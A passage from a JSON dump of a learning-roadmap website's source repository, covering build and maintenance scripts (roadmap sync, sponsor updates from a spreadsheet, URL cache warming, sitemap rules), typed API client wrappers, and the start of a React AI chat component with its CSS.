string): string[] {\n  const files: string[] = [];\n  const entries = fs.readdirSync(dir, { withFileTypes: true });\n\n  for (const entry of entries) {\n    const fullPath = path.join(dir, entry.name);\n    if (entry.isDirectory()) {\n      files.push(...getAllFiles(fullPath));\n    } else {\n      files.push(fullPath);\n    }\n  }\n\n  return files;\n}\n\nconst allFiles = getAllFiles(roadmapDir);\nconst relativeFiles = allFiles.map((file) =>\n  file.replace(path.join(__dirname, '../'), ''),\n);\n\nconsole.log(`📁 Found ${relativeFiles.length} files`);\n\nif (relativeFiles.length === 0) {\n  console.log('⚠️ No files found to sync');\n  process.exit(0);\n}\n\nconst filesArg = relativeFiles.join(',');\n\nconsole.log(`🚀 Syncing roadmap \"${roadmapSlug}\" to database...`);\n\ntry {\n  execSync(\n    `npx tsx ./scripts/sync-repo-to-database.ts --files=\"${filesArg}\" --secret=${secret}`,\n    {\n      cwd: path.join(__dirname, '..'),\n      stdio: 'inherit',\n    },\n  );\n  console.log(`✅ Successfully synced roadmap \"${roadmapSlug}\" to database`);\n} catch (error) {\n  console.error(`❌ Failed to sync roadmap \"${roadmapSlug}\" to database`);\n  process.exit(1);\n}\n"
  },
  {
    "path": "scripts/update-sponsors.cjs",
    "content": "const path = require('path');\nconst fs = require('fs');\nconst yaml = require('js-yaml');\n\nconst apiKey = process.env.SPONSOR_SHEET_API_KEY;\nconst sheetId = process.env.SPONSOR_SHEET_ID;\n\nif (!apiKey || !sheetId) {\n  console.error('Missing API key or sheet ID');\n  process.exit(1);\n}\n\nconst sheetRange = 'A3:I1001';\nconst sheetUrl = `https://sheets.googleapis.com/v4/spreadsheets/${sheetId}/values/${sheetRange}?key=${apiKey}`;\n\nfunction removeAllSponsors(baseContentDir) {\n  console.log('------------------------');\n  console.log('Removing sponsors from: ', baseContentDir);\n  console.log('------------------------');\n  const dataDirPath = path.join(__dirname, '../src/data');\n  const contentDirPath = path.join(dataDirPath, baseContentDir);\n\n  const contentDir = fs.readdirSync(contentDirPath);\n  contentDir.forEach((content) => {\n    console.log('Removing sponsors from: ', content);\n\n    const pageFilePath = path.join(contentDirPath, content, `${content}.md`);\n    const pageFileContent = fs.readFileSync(pageFilePath, 'utf8');\n\n    const frontMatterRegex = /---\\n([\\s\\S]*?)\\n---/;\n\n    const existingFrontmatter = pageFileContent.match(frontMatterRegex)[1];\n    const contentWithoutFrontmatter = pageFileContent\n      .replace(frontMatterRegex, ``)\n      .trim();\n\n    let frontmatterObj = yaml.load(existingFrontmatter);\n    delete frontmatterObj.sponsors;\n\n    const newFrontmatter = yaml.dump(frontmatterObj, {\n      lineWidth: 10000,\n      forceQuotes: true,\n      quotingType: \"'\",\n    });\n    const newContent = `---\\n${newFrontmatter}---\\n${contentWithoutFrontmatter}`;\n\n    fs.writeFileSync(pageFilePath, newContent, 'utf8');\n  });\n}\n\nfunction addPageSponsor({\n  pageUrl,\n  company,\n  redirectUrl,\n  imageUrl,\n  adTitle,\n  adDescription,\n}) {\n  const urlPart = pageUrl\n    .replace('https://roadmap.sh/', '')\n    .replace(/\\?.+?$/, '');\n\n  const parentDir = urlPart.startsWith('best-practices/')\n    ? 'best-practices'\n    : 'roadmaps';\n  const pageId = urlPart.replace(`${parentDir}/`, '');\n\n  const pageFilePath = path.join(\n    __dirname,\n    `../src/data/${parentDir}`,\n    `${pageId}/${pageId}.md`\n  );\n\n  if (!fs.existsSync(pageFilePath)) {\n    console.error(`Page file not found: ${pageFilePath}`);\n    process.exit(1);\n  }\n\n  console.log(`Updating page: ${urlPart}`);\n  const pageFileContent = fs.readFileSync(pageFilePath, 'utf8');\n\n  const frontMatterRegex = /---\\n([\\s\\S]*?)\\n---/;\n\n  const existingFrontmatter = pageFileContent.match(frontMatterRegex)[1];\n  const contentWithoutFrontmatter = pageFileContent\n    .replace(frontMatterRegex, ``)\n    .trim();\n\n  let frontmatterObj = yaml.load(existingFrontmatter);\n  const sponsors = frontmatterObj.sponsors || [];\n\n  const frontmatterValues = Object.entries(frontmatterObj);\n  const roadmapLabel = frontmatterObj.briefTitle;\n\n  sponsors.push({\n    url: redirectUrl,\n    title: adTitle,\n    imageUrl,\n    description: adDescription,\n    page: roadmapLabel,\n    company,\n  });\n\n  // Insert sponsor data at 10 index i.e. after\n  // roadmap dimensions in the frontmatter\n  frontmatterValues.splice(10, 0, ['sponsors', sponsors]);\n\n  frontmatterObj = Object.fromEntries(frontmatterValues);\n\n  const newFrontmatter = yaml.dump(frontmatterObj, {\n    lineWidth: 10000,\n    forceQuotes: true,\n    quotingType: \"'\",\n  });\n  const newContent = `---\\n${newFrontmatter}---\\n\\n${contentWithoutFrontmatter}`;\n\n  fs.writeFileSync(pageFilePath, newContent, 'utf8');\n}\n\n// Remove sponsors from all roadmaps\nremoveAllSponsors('roadmaps');\nremoveAllSponsors('best-practices');\n\nconsole.log('------------------------');\nconsole.log('Adding sponsors');\nconsole.log('------------------------');\nfetch(sheetUrl)\n  .then((res) => res.json())\n  .then((rawData) => {\n    const rows = rawData.values;\n\n    rows.map((row) => {\n      // prettier-ignore\n      const [\n        pageUrl,\n        company,\n        redirectUrl,\n        imageUrl,\n        adTitle,\n        adDescription,\n        startDate,\n        endDate,\n        isActive,\n      ] = row;\n\n      const isConfiguredActive = isActive?.toLowerCase() === 'yes';\n      const currentDate = new Date();\n      const isDateInRange =\n        currentDate >= new Date(startDate) && currentDate <= new Date(endDate);\n\n      if (!isConfiguredActive || !isDateInRange) {\n        return;\n      }\n\n      addPageSponsor({\n        pageUrl,\n        company,\n        redirectUrl,\n        imageUrl,\n        adTitle,\n        adDescription,\n        startDate,\n        endDate,\n        isActive,\n      });\n    });\n  });\n"
  },
  {
    "path": "scripts/warm-urls.sh",
    "content": "#!/usr/bin/env bash\n\n# Usage: warm-urls.sh <sitemap-url>\n# Example: warm-urls.sh https://www.example.com/sitemap.xml\n\n# Check if sitemap url is provided\nif [ -z \"$1\" ]; then\n  echo \"Please provide sitemap URL\" >&2\n  exit 1\nfi\n\n# Get all URLs from sitemap\nurls=$(curl -s \"$1\" | grep -o \"<loc>[^<]*</loc>\" | sed 's#<loc>\\(.*\\)</loc>#\\1#')\n\nfailed_urls=()\n\n# Warm up URLs\nfor url in $urls; do\n  # Fetch the og:image URL from the meta tags\n  og_image_url=$(curl -s \"$url\" | grep -o \"<meta property=\\\"og:image\\\" content=\\\"[^\\\"]*\\\"\" | sed 's#<meta property=\"og:image\" content=\"\\([^\"]*\\)\"#\\1#')\n\n  # warm the URL\n  echo \"Warming up URL: $url\"\n  if ! curl -s -I \"$url\" > /dev/null; then\n    failed_urls+=(\"$url\")\n  fi\n\n  # Warm up the og:image URL\n  if [ -n \"$og_image_url\" ]; then\n    echo \"Warming up OG: $og_image_url\"\n    if ! curl -s -I \"$og_image_url\" > /dev/null; then\n      failed_urls+=(\"$og_image_url\")\n    fi\n  else\n    echo \"No og:image found for $url\"\n  fi\ndone\n\n# Print failed URLs\nif [ ${#failed_urls[@]} -gt 0 ]; then\n  echo \"Failed to warm up the following URLs:\" >&2\n  for failed_url in \"${failed_urls[@]}\"; do\n    echo \"$failed_url\" >&2\n  done\nfi\n"
  },
  {
    "path": "sitemap.mjs",
    "content": "import path from 'node:path';\nimport fs from 'node:fs/promises';\n\nasync function getRoadmapIds() {\n  return fs.readdir(path.join(process.cwd(), 'src/data/roadmaps'));\n}\n\nasync function getBestPracticesIds() {\n  return fs.readdir(path.join(process.cwd(), 'src/data/best-practices'));\n}\n\nexport function shouldIndexPage(pageUrl) {\n  return ![\n    'https://roadmap.sh/404',\n    'https://roadmap.sh/terms',\n    'https://roadmap.sh/privacy',\n    'https://roadmap.sh/pdfs',\n    'https://roadmap.sh/g',\n  ].includes(pageUrl);\n}\n\nexport async function serializeSitemap(item) {\n  const highPriorityPages = [\n    'https://roadmap.sh',\n    'https://roadmap.sh/about',\n    'https://roadmap.sh/roadmaps',\n    'https://roadmap.sh/best-practices',\n    'https://roadmap.sh/guides',\n    'https://roadmap.sh/videos',\n    ...(await getRoadmapIds()).flatMap((id) => [\n      `https://roadmap.sh/${id}`,\n      `https://roadmap.sh/${id}/topics`,\n    ]),\n    ...(await getBestPracticesIds()).map(\n      (id) => `https://roadmap.sh/best-practices/${id}`\n    ),\n  ];\n\n  // Roadmaps and other high priority pages\n  for (let pageUrl of highPriorityPages) {\n    if (item.url === pageUrl) {\n      return {\n        ...item,\n        // @ts-ignore\n        changefreq: 'monthly',\n        priority: 1,\n      };\n    }\n  }\n\n  // Guide and video pages\n  if (\n    item.url.startsWith('https://roadmap.sh/guides') ||\n    item.url.startsWith('https://roadmap.sh/videos')\n  ) {\n    return {\n      ...item,\n      // @ts-ignore\n      changefreq: 'monthly',\n      priority: 0.9,\n    };\n  }\n\n  return undefined;\n}\n"
  },
  {
    "path": "src/api/ai-roadmap.ts",
    "content": "import { type APIContext } from 'astro';\nimport { api } from './api.ts';\n\nexport type GetAIRoadmapBySlugResponse = {\n  id: string;\n  term: string;\n  title: string;\n  data: string;\n  isAuthenticatedUser: boolean;\n};\n\nexport function aiRoadmapApi(context: APIContext) {\n  return {\n    getAIRoadmapBySlug: async function (roadmapSlug: string) {\n      return api(context).get<GetAIRoadmapBySlugResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-get-ai-roadmap-by-slug/${roadmapSlug}`,\n      );\n    },\n  };\n}\n\nexport interface AICourseDocument {\n  _id: string;\n  userId: string;\n  title: string;\n  slug?: string;\n  keyword: string;\n  difficulty: string;\n  data: string;\n  viewCount: number;\n  createdAt: Date;\n  updatedAt: Date;\n}"
  },
  {
    "path": "src/api/api.ts",
    "content": "import { TOKEN_COOKIE_NAME } from '../lib/jwt.ts';\nimport type { APIContext } from 'astro';\n\ntype HttpOptionsType = RequestInit | { headers: Record<string, any> };\n\ntype AppResponse = Record<string, any>;\n\nexport type FetchError = {\n  status: number;\n  message: string;\n};\n\nexport type AppError = {\n  status: number;\n  message: string;\n  errors?: { message: string; location: string }[];\n};\n\nexport type ApiReturn<ResponseType, ErrorType> = {\n  response?: ResponseType;\n  error?: ErrorType | FetchError;\n};\n\nexport function api(context: APIContext) {\n  const token = context.cookies.get(TOKEN_COOKIE_NAME)?.value;\n\n  async function apiCall<ResponseType = AppResponse, ErrorType = AppError>(\n    url: string,\n    options?: HttpOptionsType,\n  ): Promise<ApiReturn<ResponseType, ErrorType>> {\n    try {\n      const response = await fetch(url, {\n        credentials: 'include',\n        ...options,\n        headers: new Headers({\n          'Content-Type': 'application/json',\n          Accept: 'application/json',\n          ...(token ? { Authorization: `Bearer ${token}` } : {}),\n          ...(options?.headers ?? {}),\n        }),\n      });\n\n      // @ts-ignore\n      const doesAcceptHtml = options?.headers?.['Accept'] === 'text/html';\n\n      const data = doesAcceptHtml\n        ? await response.text()\n        : await response.json();\n\n      if (response.ok) {\n        return {\n          response: data as ResponseType,\n          error: undefined,\n        };\n      }\n\n      // Logout user if token is invalid\n      if (data.status === 401) {\n        context.cookies.delete(TOKEN_COOKIE_NAME);\n        context.redirect(context.request.url);\n\n        return { response: undefined, error: data as ErrorType };\n      }\n\n      if (data.status === 403) {\n        return { response: undefined, error: data as ErrorType };\n      }\n\n      return {\n        response: undefined,\n        error: data as ErrorType,\n      };\n    } catch (error: any) {\n      return {\n        response: undefined,\n        error: {\n          status: 0,\n          message: error.message,\n        },\n      };\n    }\n  }\n\n  return {\n    get: function apiGet<ResponseType = AppResponse, ErrorType = AppError>(\n      url: string,\n      queryParams?: Record<string, any>,\n      options?: HttpOptionsType,\n    ): Promise<ApiReturn<ResponseType, ErrorType>> {\n      const searchParams = new URLSearchParams(queryParams).toString();\n      const queryUrl = searchParams ? `${url}?${searchParams}` : url;\n\n      return apiCall<ResponseType, ErrorType>(queryUrl, {\n        ...options,\n        method: 'GET',\n      });\n    },\n    post: async function apiPost<\n      ResponseType = AppResponse,\n      ErrorType = AppError,\n    >(\n      url: string,\n      body: Record<string, any>,\n      options?: HttpOptionsType,\n    ): Promise<ApiReturn<ResponseType, ErrorType>> {\n      return apiCall<ResponseType, ErrorType>(url, {\n        ...options,\n        method: 'POST',\n        body: JSON.stringify(body),\n      });\n    },\n    patch: async function apiPatch<\n      ResponseType = AppResponse,\n      ErrorType = AppError,\n    >(\n      url: string,\n      body: Record<string, any>,\n      options?: HttpOptionsType,\n    ): Promise<ApiReturn<ResponseType, ErrorType>> {\n      return apiCall<ResponseType, ErrorType>(url, {\n        ...options,\n        method: 'PATCH',\n        body: JSON.stringify(body),\n      });\n    },\n    put: async function apiPut<\n      ResponseType = AppResponse,\n      ErrorType = AppError,\n    >(\n      url: string,\n      body: Record<string, any>,\n      options?: HttpOptionsType,\n    ): Promise<ApiReturn<ResponseType, ErrorType>> {\n      return apiCall<ResponseType, ErrorType>(url, {\n        ...options,\n        method: 'PUT',\n        body: JSON.stringify(body),\n      });\n    },\n    delete: async function apiDelete<\n      ResponseType = AppResponse,\n      ErrorType = AppError,\n    >(\n      url: string,\n      options?: HttpOptionsType,\n    ): Promise<ApiReturn<ResponseType, ErrorType>> {\n      return apiCall<ResponseType, ErrorType>(url, {\n        ...options,\n        method: 'DELETE',\n      });\n    },\n  };\n}\n"
  },
  {
    "path": "src/api/leaderboard.ts",
    "content": "import { type APIContext } from 'astro';\nimport { api } from './api.ts';\n\nexport type LeaderboardUserDetails = {\n  id: string;\n  name: string;\n  avatar?: string;\n  count: number;\n};\n\nexport type ListLeaderboardStatsResponse = {\n  streaks: {\n    active: LeaderboardUserDetails[];\n    lifetime: LeaderboardUserDetails[];\n  };\n  projectSubmissions: {\n    currentMonth: LeaderboardUserDetails[];\n    lifetime: LeaderboardUserDetails[];\n  };\n  githubContributors: {\n    currentMonth: LeaderboardUserDetails[];\n  };\n  referrals: {\n    currentMonth: LeaderboardUserDetails[];\n    lifetime: LeaderboardUserDetails[];\n  };\n};\n\nexport function leaderboardApi(context: APIContext) {\n  return {\n    listLeaderboardStats: async function () {\n      return api(context).get<ListLeaderboardStatsResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-list-leaderboard-stats`,\n        {},\n      );\n    },\n  };\n}\n"
  },
  {
    "path": "src/api/project.ts",
    "content": "import { type APIContext } from 'astro';\nimport { api } from './api.ts';\n\nexport function projectApi(context: APIContext) {\n  return {\n    listProjectsUserCount: async function (projectIds: string[]) {\n      return api(context).post<Record<string, number>>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-list-projects-user-count`,\n        {\n          projectIds,\n        },\n      );\n    },\n  };\n}\n"
  },
  {
    "path": "src/api/roadmap.ts",
    "content": "import { type APIContext } from 'astro';\nimport { api } from './api.ts';\nimport type { RoadmapDocument } from '../components/CustomRoadmap/CreateRoadmap/CreateRoadmapModal.tsx';\nimport type { PageType } from '../components/CommandMenu/CommandMenu.tsx';\n\nexport type ListShowcaseRoadmapResponse = {\n  data: Pick<\n    RoadmapDocument,\n    | '_id'\n    | 'title'\n    | 'description'\n    | 'slug'\n    | 'creatorId'\n    | 'visibility'\n    | 'createdAt'\n    | 'topicCount'\n    | 'ratings'\n  >[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\nexport function roadmapApi(context: APIContext) {\n  return {\n    listShowcaseRoadmap: async function () {\n      const searchParams = new URLSearchParams(context.url.searchParams);\n      return api(context).get<ListShowcaseRoadmapResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-list-showcase-roadmap`,\n        searchParams,\n      );\n    },\n    isShowcaseRoadmap: async function (slug: string) {\n      return api(context).get<{\n        isShowcase: boolean;\n      }>(`${import.meta.env.PUBLIC_API_URL}/v1-is-showcase-roadmap/${slug}`);\n    },\n  };\n}\n\nexport type ProjectPageType = {\n  id: string;\n  title: string;\n  url: string;\n};\n\nexport async function getProjectList() {\n  const baseUrl = import.meta.env.DEV\n    ? 'http://localhost:3000'\n    : 'https://roadmap.sh';\n  const pages = await fetch(`${baseUrl}/pages.json`).catch((err) => {\n    console.error(err);\n    return [];\n  });\n\n  const pagesJson = await (pages as any).json();\n  const projects: ProjectPageType[] = pagesJson\n    .filter((page: any) => page?.group?.toLowerCase() === 'projects')\n    .map((page: any) => ({\n      id: page.id,\n      title: page.title,\n      url: page.url,\n    }));\n\n  return projects;\n}\n"
  },
  {
    "path": "src/api/user.ts",
    "content": "import { type APIContext } from 'astro';\nimport { api } from './api.ts';\nimport type { ResourceType } from '../lib/resource-progress.ts';\nimport type { ProjectStatusDocument } from '../components/Projects/ListProjectSolutions.tsx';\n\nexport const allowedRoadmapVisibility = ['all', 'none', 'selected'] as const;\nexport type AllowedRoadmapVisibility =\n  (typeof allowedRoadmapVisibility)[number];\n\nexport const allowedCustomRoadmapVisibility = [\n  'all',\n  'none',\n  'selected',\n] as const;\nexport type AllowedCustomRoadmapVisibility =\n  (typeof allowedCustomRoadmapVisibility)[number];\n\nexport const allowedProfileVisibility = ['public', 'private'] as const;\nexport type AllowedProfileVisibility =\n  (typeof allowedProfileVisibility)[number];\n\nexport const allowedOnboardingStatus = ['done', 'pending', 'ignored'] as const;\nexport type AllowedOnboardingStatus = (typeof allowedOnboardingStatus)[number];\n\nexport interface UserDocument {\n  _id?: string;\n  name: string;\n  email: string;\n  avatar?: string;\n  password: string;\n  isEnabled: boolean;\n  authProvider: 'github' | 'google' | 'email' | 'linkedin';\n  metadata: Record<string, any>;\n  calculatedStats: {\n    activityCount: number;\n    totalVisitCount: number;\n    longestVisitStreak: number;\n    currentVisitStreak: number;\n    updatedAt: Date;\n  };\n  verificationCode: string;\n  resetPasswordCode: string;\n  isSyncedWithSendy: boolean;\n  links?: {\n    github?: string;\n    linkedin?: string;\n    twitter?: string;\n    dailydev?: string;\n    website?: string;\n  };\n  username?: string;\n  profileVisibility: AllowedProfileVisibility;\n  publicConfig?: {\n    isAvailableForHire: boolean;\n    isEmailVisible: boolean;\n    headline: string;\n    roadmaps: string[];\n    customRoadmaps: string[];\n    roadmapVisibility: AllowedRoadmapVisibility;\n    customRoadmapVisibility: AllowedCustomRoadmapVisibility;\n  };\n  resetPasswordCodeAt: string;\n  verifiedAt: string;\n\n  // Onboarding fields\n  onboardingStatus?: AllowedOnboardingStatus;\n  onboarding?: {\n    updateProgress: AllowedOnboardingStatus;\n    publishProfile: AllowedOnboardingStatus;\n    customRoadmap: AllowedOnboardingStatus;\n    addFriends: AllowedOnboardingStatus;\n    roadCard: AllowedOnboardingStatus;\n    inviteTeam: AllowedOnboardingStatus;\n  };\n\n  createdAt: string;\n  updatedAt: string;\n}\n\nexport type UserActivityCount = {\n  activityCount: Record<string, number>;\n  totalActivityCount: number;\n};\n\ntype ProgressResponse = {\n  updatedAt: string;\n  title: string;\n  id: string;\n  learning: number;\n  skipped: number;\n  done: number;\n  total: number;\n  isCustomResource?: boolean;\n  roadmapSlug?: string;\n};\n\nexport type GetPublicProfileResponse = Omit<\n  UserDocument,\n  'password' | 'verificationCode' | 'resetPasswordCode' | 'resetPasswordCodeAt'\n> & {\n  activity: UserActivityCount;\n  roadmaps: ProgressResponse[];\n  projects: ProjectStatusDocument[];\n  isOwnProfile: boolean;\n};\n\nexport type GetUserProfileRoadmapResponse = {\n  title: string;\n  topicCount: number;\n  roadmapSlug?: string;\n  isCustomResource?: boolean;\n  done: string[];\n  learning: string[];\n  skipped: string[];\n  nodes: any[];\n  edges: any[];\n};\n\nexport function userApi(context: APIContext) {\n  return {\n    getPublicProfile: async function (username: string) {\n      return api(context).get<GetPublicProfileResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-get-public-profile/${username}`,\n      );\n    },\n    getUserProfileRoadmap: async function (\n      username: string,\n      resourceId: string,\n      resourceType: ResourceType = 'roadmap',\n    ) {\n      return api(context).get<GetUserProfileRoadmapResponse>(\n        `${\n          import.meta.env.PUBLIC_API_URL\n        }/v1-get-user-profile-roadmap/${username}`,\n        {\n          resourceId,\n          resourceType,\n        },\n      );\n    },\n  };\n}\n"
  },
  {
    "path": "src/components/AIChat/AIChat.css",
    "content": ".ai-chat .prose ul li > code,\n.ai-chat .prose ol li > code,\n.ai-chat p code,\n.ai-chat a > code,\n.ai-chat strong > code,\n.ai-chat em > code,\n.ai-chat h1 > code,\n.ai-chat h2 > code,\n.ai-chat h3 > code {\n  background: #ebebeb !important;\n  color: currentColor !important;\n  font-size: 14px;\n  font-weight: normal !important;\n}\n\n.ai-chat .course-ai-content.course-content.prose ul li > code,\n.ai-chat .course-ai-content.course-content.prose ol li > code,\n.ai-chat .course-ai-content.course-content.prose p code,\n.ai-chat .course-ai-content.course-content.prose a > code,\n.ai-chat .course-ai-content.course-content.prose strong > code,\n.ai-chat .course-ai-content.course-content.prose em > code,\n.ai-chat .course-ai-content.course-content.prose h1 > code,\n.ai-chat .course-ai-content.course-content.prose h2 > code,\n.ai-chat .course-ai-content.course-content.prose h3 > code,\n.ai-chat .course-notes-content.prose ul li > code,\n.ai-chat .course-notes-content.prose ol li > code,\n.ai-chat .course-notes-content.prose p code,\n.ai-chat .course-notes-content.prose a > code,\n.ai-chat .course-notes-content.prose strong > code,\n.ai-chat .course-notes-content.prose em > code,\n.ai-chat .course-notes-content.prose h1 > code,\n.ai-chat .course-notes-content.prose h2 > code,\n.ai-chat .course-notes-content.prose h3 > code {\n  font-size: 12px !important;\n}\n\n.ai-chat .course-ai-content pre {\n  -ms-overflow-style: none;\n  scrollbar-width: none;\n}\n\n.ai-chat .course-ai-content pre::-webkit-scrollbar {\n  display: none;\n}\n\n.ai-chat .course-ai-content pre,\n.ai-chat .course-notes-content pre {\n  overflow: scroll;\n  font-size: 15px;\n  margin: 10px 0;\n}\n\n.ai-chat .prose ul li > code:before,\n.ai-chat p > code:before,\n.ai-chat .prose ul li > code:after,\n.prose ol li > code:before,\np > code:before,\n.ai-chat .prose ol li > code:after,\n.ai-chat .course-content h1 > code:after,\n.ai-chat .course-content h1 > code:before,\n.ai-chat .course-content h2 > code:after,\n.ai-chat .course-content h2 > code:before,\n.ai-chat .course-content h3 > code:after,\n.ai-chat .course-content h3 > code:before,\n.ai-chat .course-content h4 > code:after,\n.ai-chat .course-content h4 > code:before,\n.ai-chat p > code:after,\n.ai-chat a > code:after,\n.ai-chat a > code:before {\n  content: '' !important;\n}\n\n.ai-chat .course-content.prose ul li > code,\n.ai-chat .course-content.prose ol li > code,\n.ai-chat .course-content p code,\n.ai-chat .course-content a > code,\n.ai-chat .course-content strong > code,\n.ai-chat .course-content em > code,\n.ai-chat .course-content h1 > code,\n.ai-chat .course-content h2 > code,\n.ai-chat .course-content h3 > code,\n.ai-chat .course-content table code {\n  background: #f4f4f5 !important;\n  border: 1px solid #282a36 !important;\n  color: #282a36 !important;\n  padding: 2px 4px;\n  border-radius: 5px;\n  font-size: 16px !important;\n  white-space: pre;\n  font-weight: normal;\n}\n\n.ai-chat .course-content blockquote {\n  font-style: normal;\n}\n\n.ai-chat .course-content.prose blockquote h1,\n.ai-chat .course-content.prose blockquote h2,\n.ai-chat .course-content.prose blockquote h3,\n.ai-chat .course-content.prose blockquote h4 {\n  font-style: normal;\n  margin-bottom: 8px;\n}\n\n.ai-chat .course-content.prose ul li > code:before,\n.ai-chat .course-content p > code:before,\n.ai-chat .course-content.prose ul li > code:after,\n.ai-chat .course-content p > code:after,\n.ai-chat .course-content h2 > code:after,\n.ai-chat .course-content h2 > code:before,\n.ai-chat .course-content table code:before,\n.ai-chat .course-content table code:after,\n.ai-chat .course-content a > code:after,\n.ai-chat .course-content a > code:before,\n.ai-chat .course-content h2 code:after,\n.ai-chat .course-content h2 code:before,\n.ai-chat .course-content h2 code:after,\n.ai-chat .course-content h2 code:before {\n  content: '' !important;\n}\n\n.ai-chat .course-content table {\n  border-collapse: collapse;\n  border: 1px solid black;\n  border-radius: 5px;\n}\n\n.ai-chat .course-content table td,\n.ai-chat .course-content table th {\n  padding: 5px 10px;\n}\n"
  },
  {
    "path": "src/components/AIChat/AIChat.tsx",
    "content": "import './AIChat.css';\nimport {\n  ArrowDownIcon,\n  FileUpIcon,\n  LockIcon,\n  PersonStandingIcon,\n  SendIcon,\n  TrashIcon,\n} from 'lucide-react';\nimport { useCallback, useEffect, useRef, useState } from 'react';\nimport { flushSync } from 'react-dom';\nimport AutogrowTextarea from 'react-textarea-autosize';\nimport { QuickHelpPrompts } from './QuickHelpPrompts';\nimport { QuickActionButton } from './QuickActionButton';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { isLoggedIn, removeAuthToken } from '../../lib/jwt';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport { queryClient } from '../../stores/query-client';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport { useToast } from '../../hooks/use-toast';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { ChatHistory } from './ChatHistory';\nimport { PersonalizedResponseForm } from './PersonalizedResponseForm';\nimport { userPersonaOptions } from '../../queries/user-persona';\nimport { UploadResumeModal } from './UploadResumeModal';\nimport { userResumeOptions } from '../../queries/user-resume';\nimport { httpPost } from '../../lib/query-http';\nimport {\n  renderMessage,\n  type MessagePartRenderer,\n} from '../../lib/render-chat-message';\nimport { RoadmapRecommendations } from '../RoadmapAIChat/RoadmapRecommendations';\nimport { AIChatCourse } from './AIChatCouse';\nimport { showLoginPopup } from '../../lib/popup';\nimport { readChatStream } from '../../lib/chat';\nimport { chatHistoryOptions } from '../../queries/chat-history';\nimport { cn } from '../../lib/classname';\nimport type { RoadmapAIChatHistoryType } from '../../hooks/use-roadmap-ai-chat';\n\nexport const aiChatRenderer: Record<string, MessagePartRenderer> = {\n  'roadmap-recommendations': (options) => {\n    return <RoadmapRecommendations {...options} />;\n  },\n  'generate-course': (options) => {\n    return <AIChatCourse {...options} />;\n  },\n};\n\ntype AIChatProps = {\n  messages?: RoadmapAIChatHistoryType[];\n  chatHistoryId?: string;\n  setChatHistoryId?: (chatHistoryId: string) => void;\n  onUpgrade?: () => void;\n};\n\nexport function AIChat(props: AIChatProps) {\n  const {\n    messages: defaultMessages,\n    chatHistoryId: defaultChatHistoryId,\n    setChatHistoryId: setDefaultChatHistoryId,\n    onUpgrade,\n  } = props;\n\n  const toast = useToast();\n\n  const [message, setMessage] = useState('');\n  const [isStreamingMessage, setIsStreamingMessage] = useState(false);\n  const [streamedMessage, setStreamedMessage] =\n    useState<React.ReactNode | null>(null);\n  const [aiChatHistory, setAiChatHistory] = useState<\n    RoadmapAIChatHistoryType[]\n  >(defaultMessages ?? []);\n\n  const [isPersonalizedResponseFormOpen, setIsPersonalizedResponseFormOpen] =\n    useState(false);\n  const [isUploadResumeModalOpen, setIsUploadResumeModalOpen] = useState(false);\n\n  const [showScrollToBottomButton, setShowScrollToBottomButton] =\n    useState(false);\n\n  const scrollableContainerRef = useRef<HTMLDivElement>(null);\n  const chatContainerRef = useRef<HTMLDivElement>(null);\n  const textareaMessageRef = useRef<HTMLTextAreaElement>(null);\n\n  const { data: tokenUsage, isLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n  const { data: userPersona, isLoading: isUserPersonaLoading } = useQuery(\n    userPersonaOptions(),\n    queryClient,\n  );\n  const { data: userResume, isLoading: isUserResumeLoading } = useQuery(\n    userResumeOptions(),\n    queryClient,\n  );\n  const { mutate: deleteChatMessage, isPending: isDeletingChatMessage } =\n    useMutation(\n      {\n        mutationFn: (messages: RoadmapAIChatHistoryType[]) => {\n          if (!defaultChatHistoryId) {\n            return Promise.resolve({\n              status: 200,\n              message: 'Chat history not found',\n            });\n          }\n\n          return httpPost(`/v1-delete-chat-message/${defaultChatHistoryId}`, {\n            messages,\n          });\n        },\n        onSuccess: () => {\n          textareaMessageRef.current?.focus();\n\n          queryClient.invalidateQueries(\n            chatHistoryOptions(defaultChatHistoryId),\n          );\n        },\n        onError: (error) => {\n          toast.error(error?.message || 'Failed to delete message');\n        },\n      },\n      queryClient,\n    );\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const handleChatSubmit = () => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (isLimitExceeded) {\n      if (!isPaidUser) {\n        onUpgrade?.();\n      }\n\n      toast.error('Limit reached for today. Please wait until tomorrow.');\n      return;\n    }\n\n    const trimmedMessage = message.trim();\n    if (!trimmedMessage || isStreamingMessage) {\n      return;\n    }\n\n    const newMessages: RoadmapAIChatHistoryType[] = [\n      ...aiChatHistory,\n      {\n        role: 'user',\n        content: trimmedMessage,\n        // it's just a simple message, so we can use markdownToHtml\n        html: markdownToHtml(trimmedMessage),\n      },\n    ];\n\n    flushSync(() => {\n      setAiChatHistory(newMessages);\n      setMessage('');\n    });\n\n    setTimeout(() => {\n      scrollToBottom();\n    }, 0);\n\n    textareaMessageRef.current?.focus();\n    completeAIChat(newMessages);\n  };\n\n  const canScrollToBottom = useCallback(() => {\n    const scrollableContainer = scrollableContainerRef?.current;\n    if (!scrollableContainer) {\n      return false;\n    }\n\n    const paddingBottom = parseInt(\n      getComputedStyle(scrollableContainer).paddingBottom,\n    );\n\n    const distanceFromBottom =\n      scrollableContainer.scrollHeight -\n      (scrollableContainer.scrollTop + scrollableContainer.clientHeight) -\n      paddingBottom;\n\n    return distanceFromBottom > -(paddingBottom - 80);\n  }, []);\n\n  const scrollToBottom = useCallback(\n    (behavior: 'instant' | 'smooth' = 'smooth') => {\n      const scrollableContainer = scrollableContainerRef?.current;\n      if (!scrollableContainer) {\n        return;\n      }\n\n      scrollableContainer.scrollTo({\n        top: scrollableContainer.scrollHeight,\n        behavior: behavior === 'instant' ? 'instant' : 'smooth',\n      });\n    },\n   